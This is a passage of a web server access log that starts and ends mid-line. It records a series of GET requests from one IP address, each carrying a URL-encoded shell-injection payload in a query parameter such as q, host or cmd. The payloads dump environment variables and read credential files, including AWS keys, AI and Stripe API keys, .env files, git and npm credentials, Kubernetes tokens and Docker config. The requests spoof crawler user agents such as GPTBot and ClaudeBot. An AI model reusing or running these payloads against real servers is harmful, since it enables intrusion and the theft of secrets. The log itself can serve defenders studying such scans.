head+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/1.1" 200 60510 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"
34.125.219.56 - - [02/Aug/2026:08:31:53 +0200] "GET /?q=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/1.1" 200 1140 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
34.125.219.56 - - [02/Aug/2026:08:31:55 +0200] "GET /api/ping?host=%3B+echo+GSCAN_CMDI+%23 HTTP/1.1" 200 80472 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"
34.125.219.56 - - [02/Aug/2026:08:31:55 +0200] "GET /api/exec?cmd=%3B+echo+GSCAN_CMDI+%23 HTTP/1.1" 200 80500 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot"
34.125.219.56 - - [02/Aug/2026:08:31:55 +0200] "GET /api/system?cmd=%3B+echo+GSCAN_CMDI+%23 HTTP/1.1" 200 80500 "-" "CCBot/2.0 (https://commoncrawl.org/faq/)"
34.125.219.56 - - [02/Aug/2026:08:31:57 +0200] "GET /api/ping?host=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/1.1" 200 80577 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)"
34.125.219.56 - - [02/Aug/2026:08:31:57 +0200] "GET 